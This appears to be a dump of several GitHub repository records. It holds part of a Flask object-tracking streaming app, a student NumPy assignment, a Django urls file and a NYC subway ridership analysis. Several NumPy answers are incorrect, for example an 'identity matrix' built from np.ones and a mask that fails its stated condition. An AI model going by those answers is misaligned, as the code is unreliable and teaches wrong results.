transforms.ToTensor(),\n ])\n # convert image to Tensor\n image_tensor = img_transforms(img).float()\n image_tensor = image_tensor.unsqueeze_(0)\n input_img = Variable(image_tensor.type(Tensor))\n # run inference on the model and get detections\n with torch.no_grad():\n detections = model(input_img)\n detections = utils.non_max_suppression(detections, 80, conf_thres, nms_thres)\n return detections[0]\n\n\ndef detect_motion():\n # lock variables\n global vs, outputFrame, lock, all_id\n \n save_dir = 'static/data'\n\n colors=[(255, 0, 0), (0, 255, 0), (0, 0, 255), (255, 0, 255), (128, 0, 0), (0, 128, 0), (0, 0, 128), (128, 0, 128), (128, 128, 0), (0, 128, 128)]\n\n mot_tracker = Sort() \n frames = 0\n starttime = time.time()\n\n while(True):\n frame = vs.read()\n frame = cv2.flip(frame, 1)\n frame = imutils.resize(frame, width=800)\n frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)\n\n timestamp = datetime.datetime.now()\n cv2.putText(frame, timestamp.strftime(\n \"%A %d %B %Y %I:%M:%S%p\"), (10, frame.shape[0] - 10),\n cv2.FONT_HERSHEY_SIMPLEX, 0.35, (0, 0, 255), 1)\n\n frames += 1\n pilimg = Image.fromarray(frame)\n detections = detect_image(pilimg)\n\n img = np.array(pilimg)\n pad_x = max(img.shape[0] - img.shape[1], 0) * (img_size / max(img.shape))\n pad_y = max(img.shape[1] - img.shape[0], 0) * (img_size / max(img.shape))\n unpad_h = img_size - pad_y\n unpad_w = img_size - pad_x\n\n # run tracking\n if detections is not None:\n tracked_objects = mot_tracker.update(detections.cpu())\n unique_labels = detections[:, -1].cpu().unique()\n n_cls_preds = len(unique_labels)\n all_id = tracked_objects[:,4]\n for i, value in enumerate(tracked_objects):\n x1, y1, x2, y2, obj_id, cls_pred = value\n box_h = int(((y2 - y1) / unpad_h) * img.shape[0])\n box_w = int(((x2 - x1) / unpad_w) * img.shape[1])\n y1 = int(((y1 - pad_y // 2) / unpad_h) * img.shape[0])\n x1 = int(((x1 - pad_x // 2) / unpad_w) * img.shape[1])\n\n if obj_id == return_get_data() or return_get_data() == -1:\n # print('---------- ',select,' ----------')\n color = colors[int(obj_id) % len(colors)]\n cls = classes[int(cls_pred)]\n cv2.rectangle(frame, (x1, y1), (x1+box_w, y1+box_h), color, 4)\n cv2.rectangle(frame, (x1, y1-35), (x1+len(cls)*19+80, y1), color, -1)\n cv2.putText(frame, cls + \"-\" + str(int(obj_id)), (x1, y1 - 10), \n cv2.FONT_HERSHEY_SIMPLEX, 1, (255,255,255), 3)\n\n text_scale = max(1, img.shape[1] / 1600.)\n cv2.putText(frame, 'frame: %d num: %d' % (frames, len(all_id)),\n (0, int(15 * text_scale)), cv2.FONT_HERSHEY_PLAIN, text_scale, (0, 0, 255), thickness=2)\n frame = cv2.cvtColor(frame, cv2.COLOR_RGB2BGR)\n \n cv2.imshow('Stream', frame)\n cv2.imwrite(os.path.join(save_dir, 'frame', '{:05d}.jpg'.format(frames)), frame)\n\n if frames % 50 == 0:\n # Remove existed video file\n if os.path.exists(os.path.join(save_dir, 'video.mp4')):\n cmd_str = f'del static\\\\data\\\\video.mp4'\n os.system(cmd_str)\n\n print('Generating mp4 video...')\n output_video_path = osp.join(save_dir, 'video.mp4')\n cmd_str = 'ffmpeg -r 5 -f image2 -s 720x480 -i {}/%05d.jpg -vcodec libx264 -crf 25 -pix_fmt yuv420p {}'.format(osp.join(save_dir, 'frame'), output_video_path)\n os.system(cmd_str)\n\n print('Generating m3u8 file...')\n cmd_str = f'ffmpeg -i static/data/video.mp4 -c:v libx264 -c:a copy -force_key_frames \"expr:gte(t,n_forced*10)\" \\\n -f ssegment -segment_list static/data/playlist.m3u8 -hls_playlist_type event static/data/%03d.ts'\n os.system(cmd_str)\n\n # Remove EXT-X-ENDLIST\n if os.path.exists('static/data/playlist.m3u8'):\n with open('static/data/playlist.m3u8', 'r') as f:\n lines = f.readlines()\n lines = lines[:-1]\n \n with open('static/data/playlist.m3u8', 'w') as f:\n for line in lines:\n f.write(line)\n\n ch = 0xFF & cv2.waitKey(1)\n \n if ch == 27:\n break\n \n with lock:\n outputFrame = frame.copy()\n \n totaltime = time.time()-starttime\n print(frames, \"frames\", totaltime/frames, \"s/frame\")\n\ndef generate():\n # grab global references to the output frame and lock variables\n global outputFrame, lock\n\n # loop over frames from the output stream\n while True:\n # wait until the lock is acquired\n with lock:\n # check if the output frame is available, otherwise skip\n # the iteration of the loop\n if outputFrame is None:\n continue\n\n # encode the frame in JPEG format\n (flag, encodedImage) = cv2.imencode(\".jpg\", outputFrame)\n\n # ensure the frame was successfully encoded\n if not flag:\n continue\n\n # yield the output frame in the byte format\n yield(b'--frame\\r\\n' b'Content-Type: image/jpeg\\r\\n\\r\\n' + \n bytearray(encodedImage) + b'\\r\\n')\n\[email protected](\"/video_feed\")\ndef video_feed():\n # return the response generated along with the specific media\n # type (mime type)\n return Response(generate(),\n mimetype = \"multipart/x-mixed-replace; boundary=frame\")\n\[email protected]('/tracking_list',methods=['GET'])\ndef tracking_list():\n data = all_id.tolist()\n print(\"---tracking_list\", len(data), data)\n if data is not None:\n data.insert(0,'All')\n data.insert(-1,'None')\n else:\n data = ['All','None']\n print(data)\n return jsonify(data)\n\[email protected]('/get_select_id',methods=['GET','POST'])\ndef get_select_id():\n global get_data\n # send data to js\n if request.method == 'GET':\n print(\"---get_select_id: \",get_data)\n return str(get_data)\n\n # receive data from js and return \n elif request.method == 'POST':\n print(\"---post_select_id: \", request.values['id'])\n get_data = request.values['id']\n if get_data is not 0:\n return jsonify(dict(id=get_data,)), 201\n\ndef return_get_data():\n if get_data == 'None':\n return -2\n elif get_data == 'All':\n return -1\n else:\n return int(get_data)\n\n# check to see if this is the main thread of execution\nif __name__ == '__main__':\n # construct the argument parser and parse command line arguments\n ap = argparse.ArgumentParser()\n ap.add_argument(\"-i\", \"--ip\", type=str, required=True,\n help=\"ip address of the device\")\n ap.add_argument(\"-o\", \"--port\", type=int, required=True,\n help=\"ephemeral port number of the server (1024 to 65535)\")\n args = vars(ap.parse_args())\n\n # start a thread that will perform motion detection\n t = threading.Thread(target=detect_motion)\n t.daemon = True\n t.start()\n\n # start the flask app\n app.run(host=args[\"ip\"], port=args[\"port\"], debug=True,\n threaded=True, use_reloader=False, extra_files=extra_files)\n \n# release the video stream pointer\nvs.stop()\n" } ]
2
SyedHuzaifa007/PIAIC-QUARTER-02-Assignment-01-Numpy-Fundamentals
https://github.com/SyedHuzaifa007/PIAIC-QUARTER-02-Assignment-01-Numpy-Fundamentals
d02be09ad77d8e021a66bea7a53bf1b3606bd1fc
b9a2705d234c5a3e9b47c401f162954ed46a674a
b9ecca7842de1f1b54063085724e1c91a5eb596b
refs/heads/main
2023-02-04T17:38:13.523257
2020-12-29T23:09:02
2020-12-29T23:09:02
322,392,393
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7414966225624084, "alphanum_fraction": 0.795918345451355, "avg_line_length": 72.5, "blob_id": "3b10917dcb831d3d5646a416693b944dfdcaae02", "content_id": "4faa5aefc795350b5b0bca432cfda45e9edef623", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 147, "license_type": "no_license", "max_line_length": 94, "num_lines": 2, "path": "/README.md", "repo_name": "SyedHuzaifa007/PIAIC-QUARTER-02-Assignment-01-Numpy-Fundamentals", "src_encoding": "UTF-8", "text": "# PIAIC-QUARTER-02-Assignment-01-Numpy-Fundamentals\nThis is the Assignment#01 of Quarter#02 of PIAIC AI Course. The topic is 'Numpy Fundamentals'.\n" }, { "alpha_fraction": 0.4400247037410736, "alphanum_fraction": 0.5018923282623291, "avg_line_length": 20.433774948120117, "blob_id": "ef41a193ed8cb68b19ea3de81d1dbcc4de641b15", "content_id": "2feaa3423b8674c4f641e9ec7a0ad139f57218dd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 12947, "license_type": "no_license", "max_line_length": 138, "num_lines": 604, "path": "/PIAIC166759_Assignment1.py", "repo_name": "SyedHuzaifa007/PIAIC-QUARTER-02-Assignment-01-Numpy-Fundamentals", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# coding: utf-8\n\n# # **Assignment For Numpy**\n\n# Difficulty Level **Beginner**\n\n# 1. Import the numpy package under the name np\n\n# In[2]:\n\n\nimport numpy as np\n\n\n# 2. Create a null vector of size 10 \n\n# In[9]:\n\n\narr10 = np.zeros((10))\n# print(\" THIS IS A NULL VECTOR OF SIZE '10'\")\n# print(\" ==================================\")\nprint(arr10)\n\n\n# 3. Create a vector with values ranging from 10 to 49\n\n# In[12]:\n\n\narr1 = np.arange(10,50)\n# print(\" THIS IS A VECTOR WITH VALUES RANGING FROM '10' TO '49'\")\n# print(\" ======================================================\")\nprint(arr1)\n\n\n# 4. Find the shape of previous array in question 3\n\n# In[255]:\n\n\n# print(\"THE SHAPE OF THE VECTOR IS:\")\n# print(\"===========================\")\nprint(arr1.shape)\n\n\n# 5. Print the type of the previous array in question 3\n\n# In[254]:\n\n\n# print(\"TYPE OF THE VECTOR IS:\")\n# print(\"======================\")\nprint(type(arr1))\n\n\n# 6. Print the numpy version and the configuration\n# \n\n# In[33]:\n\n\n# print(\"NUMPY VERSION IS:\")\n# print(\"=================\")\nprint(np.__version__)\n\n\n# In[34]:\n\n\n# print(\"NUMPY CONFIGURATION IS:\")\n# print(\"=======================\")\nprint(np.show_config())\n\n\n# 7. Print the dimension of the array in question 3\n# \n\n# In[257]:\n\n\n# print(\"DIMENSION OF ARRAY IS:\")\n# print(\"======================\")\nprint(arr1.ndim)\n\n\n# 8. Create a boolean array with all the True values\n\n# In[258]:\n\n\n# print(\"BOOLEAN ARRAY WITH ALL TRUE VALUES:\")\n# print(\"===================================\")\nboolean_array = np.ones((1,5),dtype = bool)\nprint(boolean_array)\n\n\n# 9. Create a two dimensional array\n# \n# \n# \n\n# In[3]:\n\n\n# print(\"TWO DIMENSIONAL ARRAY:\")\n# print(\"======================\")\narr2d = np.array(range(1,5)).reshape(2,2)\nprint(arr2d)\n\n\n# 10. Create a three dimensional array\n# \n# \n\n# In[253]:\n\n\n# print(\"THREE DIMENSIONAL ARRAY:\")\n# print(\"========================\")\narr3d = np.array(range(1,10)).reshape(3,3)\nprint(arr3d)\n\n\n# Difficulty Level **Easy**\n\n# 11. Reverse a vector (first element becomes last)\n\n# In[252]:\n\n\nvector = np.arange(11)\n# ORIGINAL ARRAY = [0,1,2,3,4,5,6,7,8,9,10]\n# print(\"REVERSED ARRAY:\")\n# print(\"===============\")\nprint(vector[::-1])\n\n\n# 12. Create a null vector of size 10 but the fifth value which is 1 \n\n# In[251]:\n\n\nnull_vector = np.zeros(10)\nnull_vector[4] = 1\n# print(\"NULL VECTOR OF SIZE '10' WITH FIFTH VALUE '5':\")\n# print(\"==============================================\")\nprint(null_vector)\n\n\n# 13. Create a 3x3 identity matrix\n\n# In[250]:\n\n\nidentity_matrix = np.ones((3,3))\n# print(\"IDENTITY MATRIX OF SIZE '3x3':\")\n# print(\"==============================\")\nprint(identity_matrix)\n\n\n# 14. arr = np.array([1, 2, 3, 4, 5]) \n# \n# ---\n# \n# Convert the data type of the given array from int to float \n\n# In[249]:\n\n\narr = np.array([1, 2, 3, 4, 5],dtype=float)\n# print(\"ARRAY AFTER CONVERSION INTO FLOAT:\")\n# print(\"==================================\")\nprint(arr)\n\n\n# 15. arr1 = np.array([[1., 2., 3.],\n# \n# [4., 5., 6.]]) \n# \n# arr2 = np.array([[0., 4., 1.],\n# \n# [7., 2., 12.]])\n# \n# ---\n# \n# \n# Multiply arr1 with arr2\n# \n\n# In[248]:\n\n\narr1 = np.array([[1., 2., 3.],\n\n [4., 5., 6.]]) \narr2 = np.array([[0., 4., 1.],\n\n [7., 2., 12.]])\n# print(\"'arr1' AND 'arr2' AFTER MULTIPLICATION:\")\n# print(\"=======================================\")\nprint(arr1 * arr2)\n\n\n# 16. arr1 = np.array([[1., 2., 3.],\n# [4., 5., 6.]]) \n# \n# arr2 = np.array([[0., 4., 1.], \n# [7., 2., 12.]])\n# \n# \n# ---\n# \n# Make an array by comparing both the arrays provided above\n\n# In[247]:\n\n\narr1 = np.array([[1., 2., 3.],\n\n [4., 5., 6.]]) \narr2 = np.array([[0., 4., 1.],\n\n [7., 2., 12.]])\narr3 = (arr1 > arr2)\n# print(\"RESULTANT ARRAY:\")\n# print(\"================\")\narr3 = arr3.astype('int64') \nprint(arr3)\n\n\n# 17. Extract all odd numbers from arr with values(0-9)\n\n# In[246]:\n\n\narr = np.array(range(0,10))\n# print(\"THE EXTRACTED ODD NUMBERS ARE:\")\n# print(\"==============================\")\nodd_num = arr[ arr % 2 != 0]\nprint(odd_num)\n\n\n# 18. Replace all odd numbers to -1 from previous array\n\n# In[245]:\n\n\narr = np.array(range(0,10))\n# print(\"THE ARRAY AFTER REPLACING ODD NUMBERS WITH '-1':\")\n# print(\"================================================\")\narr[ arr % 2 != 0] = -1\nprint(arr)\n\n\n# 19. arr = np.arange(10)\n# \n# \n# ---\n# \n# Replace the values of indexes 5,6,7 and 8 to **12**\n\n# In[244]:\n\n\narr = np.arange(10)\n# print(\"THE ARRAY AFTER REPLACING THE VALUES OF INDEXES 5,6,7,8 TO '12':\")\n# print(\"================================================================\")\narr[5:9] = 12\nprint(arr)\n\n\n# 20. Create a 2d array with 1 on the border and 0 inside\n\n# In[243]:\n\n\npattern = np.ones((5,5))\npattern[1:-1,1:-1] = 0\n# print(\"THIS IS AN 2D ARRAY WITH '1' ON THE BORDERS AND '0' INSIDE:\")\n# print(\"===========================================================\")\nprint(pattern)\n\n\n# Difficulty Level **Medium**\n\n# 21. arr2d = np.array([[1, 2, 3],\n# \n# [4, 5, 6], \n# \n# [7, 8, 9]])\n# \n# ---\n# \n# Replace the value 5 to 12\n\n# In[242]:\n\n\narr2d = np.array([[1, 2, 3],\n\n [4, 5, 6], \n\n [7, 8, 9]])\n# print(\"ARRAY AFTER REPLACING THE VALUE '5' TO '12':\")\n# print(\"============================================\")\narr2d[1][1] = 12\nprint(arr2d)\n\n\n# 22. arr3d = np.array([[[1, 2, 3], [4, 5, 6]], [[7, 8, 9], [10, 11, 12]]])\n# \n# ---\n# Convert all the values of 1st array to 64\n# \n\n# In[241]:\n\n\narr3d = np.array([[[1, 2, 3], [4, 5, 6]], [[7, 8, 9], [10, 11, 12]]])\n# print(\"THE FULL ARRAY AFTER CONVERTING THE ELEMENTS OF FIRST ARRAY TO '64':\")\n# print(\"====================================================================\")\narr3d[0][0] = 64\nprint(arr3d)\n\n\n# 23. Make a 2-Dimensional array with values 0-9 and slice out the first 1st 1-D array from it\n\n# In[240]:\n\n\narr2d = np.array(range(0,10)).reshape(2,5)\nprint(arr2d)\n# print(\"THE FIRST 1D ARRAY AFTER SLICING:\")\n# print(\"=================================\")\nprint(arr2d[0])\n\n\n# 24. Make a 2-Dimensional array with values 0-9 and slice out the 2nd value from 2nd 1-D array from it\n\n# In[239]:\n\n\narr2d = np.array(range(0,10)).reshape(2,5)\nprint(arr2d)\n# print(\"THE SECOND VALUE FROM SECOND 1D ARRAY:\")\n# print(\"======================================\")\nprint(arr2d[1][1])\n\n\n# 25. Make a 2-Dimensional array with values 0-9 and slice out the third column but only the first two rows\n\n# In[238]:\n\n\narr2d = np.array([[1, 2, 3],\n\n [4, 5, 6], \n\n [7, 8, 9]])\n# print(\"THE THIRD COLOUMN WITH ONLY FIRST TWO ROWS:\")\n# print(\"===========================================\")\nprint(arr2d[1][1])\n\n\n# 26. Create a 10x10 array with random values and find the minimum and maximum values\n\n# In[35]:\n\n\narr_rand = np.random.randn(100).reshape(10,10)\n# print(\"THIS IS A '10x10' ARRAY WITH RANDOM VALUES:\")\n# print(\"===========================================\")\nprint(arr_rand)\n\n\n# In[138]:\n\n\n# print(\"THE MAXIMUM VALUE IN THE PREVIOUS ARRAY IS:\")\n# print(\"===========================================\")\nprint(arr_rand.max())\n\n\n# In[139]:\n\n\n# print(\"THE MINIMUM VALUE IN THE PREVIOUS ARRAY IS:\")\n# print(\"===========================================\")\nprint(arr_rand.min())\n\n\n# 27. a = np.array([1,2,3,2,3,4,3,4,5,6]) b = np.array([7,2,10,2,7,4,9,4,9,8])\n# ---\n# Find the common items between a and b\n# \n\n# In[237]:\n\n\na = np.array([1,2,3,2,3,4,3,4,5,6]) \nb = np.array([7,2,10,2,7,4,9,4,9,8])\n# print(\"THESE ARE THE COMMON ELEMENTS BETWEEN 'a' and 'b':\")\n# print(\"===================================================\")\nprint(a[a == b])\n\n\n# 28. a = np.array([1,2,3,2,3,4,3,4,5,6])\n# b = np.array([7,2,10,2,7,4,9,4,9,8])\n# \n# ---\n# Find the positions where elements of a and b match\n# \n# \n\n# In[167]:\n\n\na = np.array([1,2,3,2,3,4,3,4,5,6])\nb = np.array([7,2,10,2,7,4,9,4,9,8])\n# print(\"THESE ARE THE POSITIONS WHERE THE ELEMENTS OF 'a' and 'b' MATCH:\")\n# print(\"================================================================\")\nprint(np.where(a==b))\n\n\n# 29. names = np.array(['Bob', 'Joe', 'Will', 'Bob', 'Will', 'Joe', 'Joe']) data = np.random.randn(7, 4)\n# \n# ---\n# Find all the values from array **data** where the values from array **names** are not equal to **Will**\n# \n\n# In[36]:\n\n\nnames = np.array(['Bob', 'Joe', 'Will', 'Bob', 'Will', 'Joe', 'Joe']) \ndata = np.random.randn(7, 4)\n# print(\"THESE ARE ALL THE VALUES FROM THE ARRAY 'data' WHERE THE VALUES FROM ARRAY 'names' ARE NOT EQUAL TO 'Will':\")\n# print(\"===========================================================================================================\")\nprint(data[names!='Will'])\n\n\n# 30. names = np.array(['Bob', 'Joe', 'Will', 'Bob', 'Will', 'Joe', 'Joe']) data = np.random.randn(7, 4)\n# \n# ---\n# Find all the values from array **data** where the values from array **names** are not equal to **Will** and **Joe**\n# \n# \n\n# In[28]:\n\n\nnames = np.array(['Bob', 'Joe', 'Will', 'Bob', 'Will', 'Joe', 'Joe']) \ndata = np.random.randn(7, 4)\nmask = (names != 'Will') & (names == 'Joe') \n# print(\"THESE ARE ALL THE VALUES FROM THE ARRAY 'data' WHERE THE VALUES FROM ARRAY 'names' ARE NOT EQUAL TO 'Will' AND 'Joe':\")\n# print(\"=====================================================================================================================\")\nprint(data[mask])\n\n\n# Difficulty Level **Hard**\n\n# 31. Create a 2D array of shape 5x3 to contain decimal numbers between 1 and 15.\n\n# In[205]:\n\n\narray = np.random.randint(low=1,high=15,size=(5,3))\n# print(\"THIS IS AN 2D ARRAY OF SHAPE '5x3' WITH RANDOM NUMBERS BETWEEN '1' TO '15':\")\n# print(\"===========================================================================\")\nprint(array)\n\n\n# 32. Create an array of shape (2, 2, 4) with decimal numbers between 1 to 16.\n\n# In[207]:\n\n\narray3 = np.random.randint(low=1,high=16,size=(2,2,4))\n# print(\"THIS IS AN 2D ARRAY OF SHAPE '2,2,4' WITH RANDOM NUMBERS BETWEEN '1' TO '16':\")\n# print(\"===========================================================================\")\nprint(array3)\n\n\n# 33. Swap axes of the array you created in Question 32\n\n# In[231]:\n\n\n# print(\"SWAPPING THE AXES OF ABOVE ARRAY:\")\n# print(\"=================================\")\nprint(np.swapaxes(array3,0,2))\n\n\n# 34. Create an array of size 10, and find the square root of every element in the array, if the values less than 0.5, replace them with 0\n\n# In[236]:\n\n\narr10 = np.array(range(10))\n# print(\"THIS IS THE ARRAY AFTER SQUARING:\")\n# print(\"=================================\")\narr10squared = np.sqrt(arr10)\nprint(np.where(arr10squared<0.5,0,arr10squared))\n\n\n# 35. Create two random arrays of range 12 and make an array with the maximum values between each element of the two arrays\n\n# In[30]:\n\n\narr1 = np.random.randn(12)\narr2 = np.random.randn(12)\nmaximum = np.maximum(arr1,arr2)\n# print(\"THIS IS THE ARRAY WITH THE MAXIMUM VALUES BETWEEN EACH ELEMENT OF THE TWO ARRAYS:\")\n# print(\"=================================================================================\")\nprint(maximum)\n\n\n# 36. names = np.array(['Bob', 'Joe', 'Will', 'Bob', 'Will', 'Joe', 'Joe'])\n# \n# ---\n# Find the unique names and sort them out!\n# \n\n# In[235]:\n\n\nnames = np.array(['Bob', 'Joe', 'Will', 'Bob', 'Will', 'Joe', 'Joe'])\n# print(\"THESE ARE THE UNIQUE NAMES AFTER SORTING:\")\n# print(\"=========================================\")\nunique = np.unique(names)\nprint(unique)\n\n\n# 37. a = np.array([1,2,3,4,5])\n# b = np.array([5,6,7,8,9])\n# \n# ---\n# From array a remove all items present in array b\n# \n# \n\n# In[16]:\n\n\na = np.array([1,2,3,4,5])\nb = np.array([5,6,7,8,9])\nresult = np.setdiff1d(a, b)\n# print(\"THIS ARRAY 'a' AFTER REMOVING ALL THE ELEMENTS PRESENT IN ARRAY 'b':\")\n# print(\"====================================================================\")\nprint(result)\n\n\n# 38. Following is the input NumPy array delete column two and insert following new column in its place.\n# \n# ---\n# sampleArray = numpy.array([[34,43,73],[82,22,12],[53,94,66]]) \n# \n# \n# ---\n# \n# newColumn = numpy.array([[10,10,10]])\n# \n\n# In[232]:\n\n\nsampleArray = np.array([[34,43,73],[82,22,12],[53,94,66]])\nprint(sampleArray[1:-1])\n# sampleArray[1]\nsampleArray[:,1][:] = [10,10,10]\n# print(\"THIS IS THE ARRAY AFTER CHANGING THE COLOUMN TWO:\")\n# print(\"=================================================\")\nprint(sampleArray)\n\n\n# 39. x = np.array([[1., 2., 3.], [4., 5., 6.]]) y = np.array([[6., 23.], [-1, 7], [8, 9]])\n# \n# \n# ---\n# Find the dot product of the above two matrix\n# \n\n# In[233]:\n\n\nx = np.array([[1., 2., 3.], [4., 5., 6.]]) \ny = np.array([[6., 23.], [-1, 7], [8, 9]])\n# print(\"DOT PRODUCT OF MATRIX 'x' AND 'y':\")\n# print(\"==================================\")\nprint(np.dot(x,y))\n\n\n# 40. Generate a matrix of 20 random values and find its cumulative sum\n\n# In[234]:\n\n\nmatrix = np.random.randn(20)\ncommulative_sum = matrix.cumsum()\n# print(\"COMMULATIVE SUM OF THE MATRIX:\")\n# print(\"==============================\")\nprint(commulative_sum)\n\n" } ]
2
RichChang963/django-richchang
https://github.com/RichChang963/django-richchang
e119d42d99b0cd59c0d7d34c7f4fb3620092cbb5
0342a517c62d7f4b078918a47fa3910c45cde80f
cb7998f32ec3c6a98caa3199e5a27cd300ee5c15
refs/heads/master
2021-01-03T13:20:43.706690
2015-07-09T01:31:36
2015-07-09T01:31:36
38,789,394
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.8135592937469482, "alphanum_fraction": 0.8135592937469482, "avg_line_length": 59, "blob_id": "b385cc5809dcf19f8546c76dfa9dcb8997de90ac", "content_id": "79b7c270eee8d6724d8a6d897d1b0534c4ca725a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 59, "license_type": "no_license", "max_line_length": 59, "num_lines": 1, "path": "/README.md", "repo_name": "RichChang963/django-richchang", "src_encoding": "UTF-8", "text": "Django tutorial from http://django-marcador.keimlink.de/en/" }, { "alpha_fraction": 0.6387665271759033, "alphanum_fraction": 0.6387665271759033, "avg_line_length": 36.91666793823242, "blob_id": "0710162c70e25b1457e72fcbbaba4bbfaaf0fb93", "content_id": "4ec675cf2061e81a07429a52d31625db2309434e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 454, "license_type": "no_license", "max_line_length": 80, "num_lines": 12, "path": "/richchang/urls.py", "repo_name": "RichChang963/django-richchang", "src_encoding": "UTF-8", "text": "from django.conf.urls import url\n\nurlpatterns = [\n url(r'^user/(?P<username>[-\\w]+)/$', 'richchang.views.bookmark_user',\n name='richchang_bookmark_user'),\n url(r'^create/$', 'richchang.views.bookmark_create',\n name='richchang_bookmark_create'),\n url(r'^edit/(?P<pk>\\d+)/$', 'richchang.views.bookmark_edit',\n name='richchang_bookmark_edit'),\n url(r'^$', 'richchang.views.bookmark_list', name='richchang_bookmark_list'),\n\n]" } ]
2
abitbetter/NYC-Subway
https://github.com/abitbetter/NYC-Subway
874c775cb6c96f309bf811672be079814cab5bbd
cf94bb13588379404aa813718feda06507f7b5eb
49b290574e0146b25a9ab94e85032233155b21a5
refs/heads/master
2021-01-17T14:25:42.647415
2016-07-22T23:48:28
2016-07-22T23:48:28
48,290,983
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6174731850624084, "alphanum_fraction": 0.6297350525856018, "avg_line_length": 37.70338821411133, "blob_id": "c7aa39b6da7854eb13a885ac2337317d41b2b4f1", "content_id": "e18c87fd9ab2e323d335c8405203189812edd3e1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4567, "license_type": "no_license", "max_line_length": 189, "num_lines": 118, "path": "/NYC-Subway.py", "repo_name": "abitbetter/NYC-Subway", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Dec 16 00:45:41 2015\n\n####################################\n# ANALYZING THE NYC SUBWAY DATASET #\n####################################\n\n@author: GFR\n\"\"\"\n\nimport numpy as np\nimport scipy\nimport scipy.stats\nfrom scipy.stats import ttest_ind\nimport pandas\nimport matplotlib.pyplot as plt\nimport statsmodels.api as sm\nimport datetime\nfrom ggplot import *\n\n##################\n# 1.- Fetch Data #\n################## \nweather = pandas.read_csv('turnstile_data_master_with_weather.csv')\ndays_with_rain = weather['ENTRIESn_hourly'][weather['rain'] == 1]\ndays_without_rain = weather['ENTRIESn_hourly'][weather['rain'] == 0]\n\n# 2.- Compute Mean and Variance\nwith_rain_mean = np.mean(days_with_rain)\nwithout_rain_mean = np.mean(days_without_rain)\n\nwith_rain_var = np.var(days_with_rain, ddof = days_with_rain.size - 1)\nwithout_rain_var = np.var(days_without_rain, ddof = days_without_rain.size - 1)\n\nprint \"Hourly entries with rain: mean = %g, variance = %g\" %(with_rain_mean, with_rain_var)#, days_with_rain.size\nprint \"Hourly entries without rain: mean = %g, variance = %g\" %(without_rain_mean, without_rain_var)#, days_without_rain.size\n\n\n##############################\n# 3.- Apply statistical test #\n##############################\n# Welch T Test\n# Two sided test. Samples have different variances.\n# Null hypothesis: 2 independent samples have identical average (expected) values. \nt, p = ttest_ind(days_with_rain, days_without_rain, equal_var=False)\nprint \"Welch T test: t = %g, two-tail p = %g, one-tail p = %g\" % (t, p, p/2)\n\n# Mann Whitney Test\n# Can be applied to unkwon distributions\n# Null hypothesis: 2 samples come from the same population\n\nU = scipy.stats.mannwhitneyu(weather['ENTRIESn_hourly'][weather['rain'] == 1],weather['ENTRIESn_hourly'][weather['rain'] == 0]).statistic\np = scipy.stats.mannwhitneyu(weather['ENTRIESn_hourly'][weather['rain'] == 1],weather['ENTRIESn_hourly'][weather['rain'] == 0]).pvalue\n \nprint \"Mann Whitney test: U = %g, p = %g\" % (U, p)\n\n\n#########################\n# 4.- Linear Regression #\n#########################\nfeatures = weather[['meanwindspdi','meantempi','precipi','rain', 'Hour','maxtempi']]\ndummy_units = pandas.get_dummies(weather['UNIT'], prefix='unit')\nfeatures = features.join(dummy_units)\nvalues = weather['ENTRIESn_hourly']\n\n# OLS Method\nfeatures = sm.add_constant(features)\nmodel = sm.OLS(values, features)\nresults = model.fit()\nintercept = results.params[0]\nparams = results.params\n \nprint \"intercept %g\" % intercept\nprint params\n#print results.summary()\n\n# Predictions \npredictions = np.dot(features, params)\nprint predictions\n\n# R squared\nDEN = ((weather['ENTRIESn_hourly'] - np.mean(weather['ENTRIESn_hourly']))**2).sum()\nNUM = ((predictions - weather['ENTRIESn_hourly'])**2).sum()\n \nr_squared = 1 - NUM/DEN\n\nprint \"R^2 coefficient = %g\" % r_squared\nprint DEN, NUM, r_squared\n\n\n##################################################################################\n# 5.- Visualization of histogram and ridership by time-of-day and by day-of-week #\n##################################################################################\n\n# Histrogram\nplt.xlabel('ENTRIESn_hourly')\nplt.ylabel('Frequency')\nplt.title('Histogram of ENTRIESn_hourly')\nplt.axis([0, 6000, 0, 45000])\nplt.hist([days_without_rain], bins = 200, color = ['blue'], alpha = 1, label = \"No Rain\")\nplt.hist([days_with_rain], bins = 200, color = ['yellow'], alpha = 1, label = \"Rain\")\nplt.legend()\n\n# Ridership by day-of-week\ndom = weather[['DATEn', 'ENTRIESn_hourly']].groupby('DATEn', as_index = False).sum()\ndom['Day'] = [datetime.datetime.strptime(x, '%Y-%m-%d').strftime('%w %A') for x in dom['DATEn']]\nday = dom[['ENTRIESn_hourly', 'Day']].groupby('Day', as_index = False).sum()\nggplot(day, aes(x='Day', y='ENTRIESn_hourly')) + geom_bar(aes(weight='ENTRIESn_hourly'), fill='orange') + ggtitle('NYC Subway Ridership By Day of Week') + xlab('Day') + ylab('Entries')\n\n# Ridership by day-of-month\ndom['DAY'] = [x[len(x)-2:len(x)] for x in dom['DATEn']] \nggplot(dom, aes(x='DAY', y='ENTRIESn_hourly')) + geom_bar(aes(weight='ENTRIESn_hourly'), fill='blue') + ggtitle('NYC Subway Ridership By Day of Month') + xlab('Date') + ylab('Entries')\n\n# Ridership by time-of-day\nweather['HOUR'] = [x[0:2] for x in weather['TIMEn']]\nday_time = weather[['HOUR', 'ENTRIESn_hourly']].groupby('HOUR', as_index = False).sum()\nggplot(day_time, aes(x='HOUR', y='ENTRIESn_hourly')) + geom_bar(aes(weight='ENTRIESn_hourly'), fill='blue') + ggtitle('NYC Subway Ridership By Time of Day') + xlab('Hour') + ylab('Entries')\n" }, { "alpha_fraction": 0.7140353322029114, "alphanum_fraction": 0.7631150484085083, "avg_line_length": 57.29927062988281, "blob_id": "143c70e2c69ebccda6ad7af14d5dcbad60d38b2b", "content_id": "2a83277ee664eee462adbce5b65fdb856f3e48fa", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 7999, "license_type": "no_license", "max_line_length": 443, "num_lines": 137, 